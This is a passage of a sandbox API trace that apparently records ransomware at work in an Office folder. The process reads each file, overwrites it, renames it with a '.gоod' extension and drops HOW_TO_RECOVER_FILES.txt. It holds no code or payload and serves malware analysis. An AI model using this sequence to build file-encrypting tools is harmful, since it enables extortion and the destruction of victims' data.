nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.492] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0250.492] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0250.493] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0250.493] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0250.493] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0250.493] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0250.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0250.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0250.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", lpFilePart=0x0) returned 0x61 [0250.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0250.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), fInfoLevelId=0x0, lpFileInformation=0x392f8b8 | out: lpFileInformation=0x392f8b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe)) returned 1 [0250.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0250.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", nBufferLength=0x105, lpBuffer=0x1f59cd10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", lpFilePart=0x0) returned 0x61 [0250.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d230) returned 1 [0250.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.494] GetFileType (hFile=0x824) returned 0x1 [0250.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1a0) returned 1 [0250.494] GetFileType (hFile=0x824) returned 0x1 [0250.494] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f59d3d8 | out: lpFileSizeHigh=0x1f59d3d8*=0x0) returned 0xbe [0250.494] ReadFile (in: hFile=0x824, lpBuffer=0x392fcd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d308, lpOverlapped=0x0 | out: lpBuffer=0x392fcd0*, lpNumberOfBytesRead=0x1f59d308*=0xbe, lpOverlapped=0x0) returned 1 [0250.494] CloseHandle (hObject=0x824) returned 1 [0250.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", nBufferLength=0x105, lpBuffer=0x1f59cd10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", lpFilePart=0x0) returned 0x61 [0250.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d230) returned 1 [0250.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0250.773] GetFileType (hFile=0x85c) returned 0x1 [0250.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1a0) returned 1 [0250.773] GetFileType (hFile=0x85c) returned 0x1 [0250.773] WriteFile (in: hFile=0x85c, lpBuffer=0x38cbb28*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x1f59d218, lpOverlapped=0x0 | out: lpBuffer=0x38cbb28*, lpNumberOfBytesWritten=0x1f59d218*=0xc0, lpOverlapped=0x0) returned 1 [0250.773] CloseHandle (hObject=0x85c) returned 1 [0250.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc", lpFilePart=0x0) returned 0x61 [0250.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc.gоod", lpFilePart=0x0) returned 0x66 [0250.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0250.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91b0b0ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0250.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0250.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc.gоod")) returned 1 [0250.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", lpFilePart=0x0) returned 0x5d [0250.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0250.775] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), fInfoLevelId=0x0, lpFileInformation=0x38cce60 | out: lpFileInformation=0x38cce60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4)) returned 1 [0250.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0250.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", nBufferLength=0x105, lpBuffer=0x1f59cd10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", lpFilePart=0x0) returned 0x5d [0250.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d230) returned 1 [0250.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0250.775] GetFileType (hFile=0x85c) returned 0x1 [0250.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1a0) returned 1 [0250.775] GetFileType (hFile=0x85c) returned 0x1 [0250.775] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1f59d3d8 | out: lpFileSizeHigh=0x1f59d3d8*=0x0) returned 0xc4 [0250.775] ReadFile (in: hFile=0x85c, lpBuffer=0x38cd260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d308, lpOverlapped=0x0 | out: lpBuffer=0x38cd260*, lpNumberOfBytesRead=0x1f59d308*=0xc4, lpOverlapped=0x0) returned 1 [0250.776] CloseHandle (hObject=0x85c) returned 1 [0250.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", nBufferLength=0x105, lpBuffer=0x1f59cd10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", lpFilePart=0x0) returned 0x5d [0250.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d230) returned 1 [0250.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0250.802] GetFileType (hFile=0x85c) returned 0x1 [0250.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1a0) returned 1 [0250.802] GetFileType (hFile=0x85c) returned 0x1 [0250.802] WriteFile (in: hFile=0x85c, lpBuffer=0x3944a88*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x1f59d218, lpOverlapped=0x0 | out: lpBuffer=0x3944a88*, lpNumberOfBytesWritten=0x1f59d218*=0xd0, lpOverlapped=0x0) returned 1 [0250.802] CloseHandle (hObject=0x85c) returned 1 [0250.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc", lpFilePart=0x0) returned 0x5d [0250.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc.gоod", lpFilePart=0x0) returned 0x62 [0250.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0250.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91b3136a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0250.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0250.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc.gоod")) returned 1 [0250.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", lpFilePart=0x0) returned 0x4c [0250.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0250.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x3945df8 | out: lpFileInformation=0x3945df8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1266)) returned 1 [0250.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0250.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", lpFilePart=0x0) returned 0x4c [0250.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0250.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0250.882] GetFileType (hFile=0x85c) returned 0x1 [0250.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0250.882] GetFileType (hFile=0x85c) returned 0x1 [0251.772] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0251.789] ReadFile (in: hFile=0x85c, lpBuffer=0x39e68a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x39e68a0*, lpNumberOfBytesRead=0x1f59d3a8*=0x266, lpOverlapped=0x0) returned 1 [0251.789] CloseHandle (hObject=0x85c) returned 1 [0251.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", lpFilePart=0x0) returned 0x4c [0251.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0251.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0251.790] GetFileType (hFile=0x85c) returned 0x1 [0251.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0251.790] GetFileType (hFile=0x85c) returned 0x1 [0251.790] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1266 [0251.790] WriteFile (in: hFile=0x85c, lpBuffer=0x39e82b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x39e82b0*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0251.790] CloseHandle (hObject=0x85c) returned 1 [0251.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", lpFilePart=0x0) returned 0x4c [0251.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0251.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0251.790] GetFileType (hFile=0x85c) returned 0x1 [0251.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0251.791] GetFileType (hFile=0x85c) returned 0x1 [0251.791] ReadFile (in: hFile=0x85c, lpBuffer=0x39ea578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x39ea578*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0251.866] CloseHandle (hObject=0x85c) returned 1 [0251.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", lpFilePart=0x0) returned 0x4c [0251.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0251.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0251.866] GetFileType (hFile=0x85c) returned 0x1 [0251.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0251.866] GetFileType (hFile=0x85c) returned 0x1 [0251.866] WriteFile (in: hFile=0x85c, lpBuffer=0x39e92c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x39e92c8*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0251.866] CloseHandle (hObject=0x85c) returned 1 [0251.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO", lpFilePart=0x0) returned 0x4c [0251.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO.gоod", lpFilePart=0x0) returned 0x51 [0251.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0251.867] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9255330a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1276)) returned 1 [0251.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0251.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\FOLDER.ICO.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\folder.ico.gоod")) returned 1 [0251.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0251.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0251.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0251.870] GetFileType (hFile=0x85c) returned 0x1 [0251.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0251.870] GetFileType (hFile=0x85c) returned 0x1 [0251.870] WriteFile (in: hFile=0x85c, lpBuffer=0x3a68df8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3a68df8*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0251.871] CloseHandle (hObject=0x85c) returned 1 [0251.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0251.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM", lpFilePart=0x0) returned 0x3d [0251.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0252.008] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, 